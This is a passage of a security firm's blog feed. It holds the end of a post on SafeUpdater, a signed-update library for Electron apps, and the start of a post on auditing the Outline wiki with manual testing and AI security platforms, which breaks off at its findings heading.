  &lt;li&gt;Compute a SHA-256 hash of the update file&lt;/li&gt;
  &lt;li&gt;Construct a signature message: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${sha256Hex}-${version}&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Verify the Ed25519 signature against the message&lt;/li&gt;
  &lt;li&gt;Reject the update if the signature is invalid&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;5-installing-the-update&quot;&gt;5. Installing the Update&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Determine whether installation is silent or interactive&lt;/li&gt;
  &lt;li&gt;Call platform-specific installUpdate() logic:
    &lt;ul&gt;
      &lt;li&gt;macOS: write feed JSON and trigger autoUpdater&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Wait for user confirmation or automatically apply the update&lt;/li&gt;
  &lt;li&gt;Restart the application with the new version&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;configuration&quot;&gt;Configuration&lt;/h2&gt;

&lt;p&gt;SafeUpdater is highly configurable through environment-based JSON files using the &lt;a href=&quot;https://github.com/node-config/node-config&quot;&gt;config&lt;/a&gt; package.&lt;/p&gt;

&lt;p&gt;The primary configuration file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config/default.json&lt;/code&gt; includes the following settings:&lt;/p&gt;

&lt;h3 id=&quot;1-updatespublickey-required&quot;&gt;1. updatesPublicKey (required)&lt;/h3&gt;

&lt;p&gt;The Ed25519 public key used to verify update signatures. This key must be hex-encoded (64 hex characters).&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;updatesPublicKey&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;..&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Note: You can generate the key using the &lt;a href=&quot;https://github.com/doyensec/ElectronSafeUpdater/blob/main/tools/generateKeys.js&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;generateKeys.js&lt;/code&gt;&lt;/a&gt; script from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tools&lt;/code&gt; folder:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;node tools/generateKeys.js  # Outputs public.key
cat public.key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-updatesurl-required&quot;&gt;2. updatesUrl (required)&lt;/h3&gt;

&lt;p&gt;The base URL for your update server. SafeUpdater constructs paths for manifests and binaries automatically:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;updatesUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://updates.yourcompany.com&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Path construction examples:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Releases manifest: ${updatesUrl}/releases/versions.json
Version metadata: ${updatesUrl}/releases/${version}/${version}.yml
Update binaries: ${updatesUrl}/releases/${version}/${filename}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;3-updatesenabled-required&quot;&gt;3. updatesEnabled (required)&lt;/h3&gt;

&lt;p&gt;A master switch for the update system:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;updatesEnabled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;4-certificateauthority-optional&quot;&gt;4. certificateAuthority (optional)&lt;/h3&gt;

&lt;p&gt;Provide a PEM-encoded X.509 certificate for TLS validation. This is useful for self-signed certificates during development or as part of a certificate pinning strategy in production.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;certificateAuthority&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-----BEGIN CERTIFICATE-----&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;MIIDXTCCAkWgAwIBAgIJAKL...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-----END CERTIFICATE-----&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;5-allowinsecuretls-optional-default-false&quot;&gt;5. allowInsecureTLS (optional, default: false)&lt;/h3&gt;

&lt;p&gt;Disables TLS certificate validation.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;allowInsecureTLS&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Warning: Never use this in production! Only for development environments with self-signed certificates.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;6-downgradeenabled-optional-default-false&quot;&gt;6. downgradeEnabled (optional, default: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;false&lt;/code&gt;)&lt;/h3&gt;

&lt;p&gt;Enables the ability to roll back to a previous version of the app.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;downgradeEnabled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Allows cryptographically verified downgrades and enforces a minimum version to prevent unsafe rollbacks.&lt;/p&gt;

&lt;h2 id=&quot;update-server&quot;&gt;Update Server&lt;/h2&gt;

&lt;p&gt;For debugging purposes only, we have developed a set of tools under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tools&lt;/code&gt; folder, which provides all tools required to generate the Ed25519 key pairs, sign release artifacts, and produce signed manifests.&lt;/p&gt;

&lt;p&gt;This repository allows developers to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Generate a long-term Ed25519 key pair for signing releases.&lt;/li&gt;
  &lt;li&gt;Sign all application binaries, metadata, and manifest files.&lt;/li&gt;
  &lt;li&gt;Organize and host updates in a structured release directory, ensuring the updater can verify both the signature and integrity of every file.&lt;/li&gt;
  &lt;li&gt;Run a development HTTPS server to safely test update delivery before production.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By following the two-step process below, SafeUpdater ensures that end users only receive verified, unmodified updates, protecting against downgrade attacks, tampering, or malicious binaries.&lt;/p&gt;

&lt;h3 id=&quot;1-sign-version-manifest--files&quot;&gt;1. Sign Version Manifest &amp;amp; Files&lt;/h3&gt;

&lt;p&gt;Sign release artifacts after building your application using &lt;a href=&quot;https://www.electron.build/index.html&quot;&gt;electron-builder&lt;/a&gt;. It is crucial to sign every artifact that will be downloaded or trusted by the updater.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Sign ZIP file&lt;/span&gt;
node tools/sign.js /path/to/my-app-2.0.0-mac.zip &lt;span class=&quot;s2&quot;&gt;&quot;2.0.0&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Sign DMG file&lt;/span&gt;
node tools/sign.js /path/to/my-app-2.0.0.dmg &lt;span class=&quot;s2&quot;&gt;&quot;2.0.0&quot;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Sign YAML metadata&lt;/span&gt;
node tools/sign.js /path/to/2.0.0.yml &lt;span class=&quot;s2&quot;&gt;&quot;2.0.0&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-server-deployment&quot;&gt;2. Server Deployment&lt;/h3&gt;

&lt;p&gt;For local testing, you can serve updates over HTTPS using a self-signed certificate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;server.py:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;http.server&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HTTPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ssl&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HTTPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'0.0.0.0'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wrap_socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;keyfile&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'key.pem'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;certfile&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'server.pem'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;server_side&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Server running on https://0.0.0.0:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serve_forever&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;This server is intended strictly for development and testing purposes.&lt;/strong&gt; In production, deploy behind a properly secured, scalable, and monitored infrastructure.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Even when using modern and widely adopted frameworks, software update mechanisms must compensate for several shortcomings introduced by the underlying operating systems themselves. These limitations place a non-trivial burden on application developers, who are often forced to re-implement critical security guarantees that should ideally be enforced at the platform level.&lt;/p&gt;

&lt;p&gt;This project set out to analyze the current limitations of software update mechanisms in ElectronJS and to propose a safer alternative to the approaches commonly used today. By providing strong cryptographic guarantees and a well-defined, transparent update flow, our reference implementation (&lt;a href=&quot;https://github.com/doyensec/ElectronSafeUpdater/&quot;&gt;SafeUpdater&lt;/a&gt;) aims to reduce the attack surface associated with software updates and to make secure design choices the default rather than an afterthought. In doing so, it allows developers to focus on building application features without compromising on update security.&lt;/p&gt;

&lt;p&gt;SafeUpdater was developed as part of my university thesis at the Polytechnic University of Valencia and during my internship at Doyensec. While the project would still require extensive performance evaluation, security auditing, and real-world testing before being considered production-ready, we believe it offers a solid foundation and a practical starting point for building more robust and trustworthy software update mechanisms for ElectroJs-based applications.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Auditing Outline. Firsthand lessons from comparing manual testing and AI security platforms</title>
   <link href="https://blog.doyensec.com/2026/02/03/outline-audit-q32025.html"/>
   <updated>2026-02-03T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2026/02/03/outline-audit-q32025</id>
   <content type="html">&lt;p&gt;In July 2025, we performed a brief audit of &lt;a href=&quot;https://www.getoutline.com/&quot;&gt;Outline&lt;/a&gt; - an OSS wiki similar in many ways to Notion. This activity was meant to evaluate the overall posture of the application, and involved two researchers for a total of 60 person-days. In parallel, we thought it would be a valuable firsthand experience to use three AI security platforms to perform an audit on the very same codebase. Given that all issues are now fixed, we believe it would be interesting to provide an overview of our effort and a few interesting findings and considerations.&lt;/p&gt;

&lt;figure style=&quot;text-align:center&quot;&gt;&lt;img src=&quot;../../../public/images/humanvsaiaudits.png&quot; alt=&quot;Generate an image that well describe the content of this blog post&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;figcaption style=&quot;color:#FFA500;font-size:1.0em&quot;&gt;&quot;Generate an image that well describes the content of this blog post&quot;&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h3 id=&quot;disclaimer-outline&quot;&gt;Disclaimer: Outline&lt;/h3&gt;

&lt;p&gt;While this activity was not sufficient to evaluate the entirety of the Outline codebase, we believe we have a good understanding of its quality and resilience. &lt;strong&gt;The security posture of the APIs was found to be above industry best practices. Despite our findings, we were pleased to witness a well-thought-out use of security practices and hardening&lt;/strong&gt;, especially given the numerous functionalities and integrations available.&lt;/p&gt;

&lt;p&gt;It is important to note that Doyensec audited only Outline OSS (&lt;a href=&quot;https://github.com/outline/outline/releases/tag/v0.85.1&quot;&gt;v0.85.1&lt;/a&gt;).  On-premise enterprise and cloud functionalities were considered out of scope for this engagement. For instance, multi-tenancy is not supported in the OSS on-prem release, hence authorization testing did not
consider cross-tenant privilege escalations. Finally, testing focused on Outline code only, leaving all dependencies out of scope. Ironically, several of the bugs discovered were actually caused by external libraries.&lt;/p&gt;

&lt;h3 id=&quot;disclaimer-ai-platforms-evaluated-during-this-dry-run&quot;&gt;Disclaimer: AI platforms evaluated during this dry run&lt;/h3&gt;

&lt;p&gt;Large Language Models and AI security platforms are evolving at an exceptionally rapid pace. The observations, assessments, and experiences shared in this post reflect our hands-on exposure at a specific point in time and within a particular technical context. As models, tooling, and defensive capabilities continue to mature, some details discussed here may change or become irrelevant.&lt;/p&gt;

&lt;h3 id=&quot;instrumentation&quot;&gt;Instrumentation&lt;/h3&gt;
&lt;p&gt;When performing an in-depth engagement, it is ideal to set up a testing environment with debugging capabilities for both frontend and backend. Outline’s extensive documentation makes this process easy.&lt;/p&gt;

&lt;p&gt;We started by setting up a local environment as documented in &lt;a href=&quot;https://docs.getoutline.com/s/hosting/doc/local-development-5hEhFRXow7&quot;&gt;this guide&lt;/a&gt;, and executing the following commands:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1 local.outline.dev&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sudo tee&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; /etc/hosts
&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;files
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.env&lt;/code&gt; file was used for the configuration(non-empty settings only):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;NODE_ENV=development
URL=https://local.outline.dev:3000
PORT=3000
SECRET_KEY=09732bbde65d4...989
UTILS_SECRET=af7b3d5a6cc...2f1
DEFAULT_LANGUAGE=en_US
DATABASE_URL=postgres://user:pass@127.0.0.1:5432/outline
REDIS_URL=redis://127.0.0.1:6379
FILE_STORAGE=local
FILE_STORAGE_LOCAL_ROOT_DIR=./files/
FILE_STORAGE_UPLOAD_MAX_SIZE=262144000
FORCE_HTTPS=true
OIDC_CLIENT_ID=web
OIDC_CLIENT_SECRET=secret
OIDC_AUTH_URI=http://127.0.0.1:9998/auth
OIDC_TOKEN_URI=http://127.0.0.1:9998/oauth/token
OIDC_USERINFO_URI=http://127.0.0.1:9998/userinfo
OIDC_DISABLE_REDIRECT=true
OIDC_USERNAME_CLAIM=preferred_username
OIDC_DISPLAY_NAME=OpenID Connect
OIDC_SCOPES=openid profile email
RATE_LIMITER_ENABLED=true
# –––––––––––––  DEBUGGING  ––––––––––––
ENABLE_UPDATES=false
DEBUG=http
LOG_LEVEL=debug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Zitadel’s &lt;a href=&quot;https://github.com/zitadel/oidc&quot;&gt;OIDC server&lt;/a&gt; was used for authentication&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;REDIRECT_URI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;https://local.outline.dev:3000/auth/oidc.callback &lt;span class=&quot;nv&quot;&gt;USERS_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;./users.json go run github.com/zitadel/oidc/v3/example/server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, VS Code debugging was set up using the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.vscode/launch.json&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.2.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;configurations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;node&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;request&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;attach&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Attach to Outline Backend&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;address&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;localhost&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;port&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9229&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;restart&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;protocol&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;inspector&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;skipFiles&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;node_internals&amp;gt;/**&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cwd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;${workspaceFolder}&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We also facilitated front-end debugging by adding the following setting at the top of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.babelrc&lt;/code&gt; file in order to have source maps.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;&quot;sourceMaps&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;findings&quot;&gt;Findings&lt;/h3&gt;

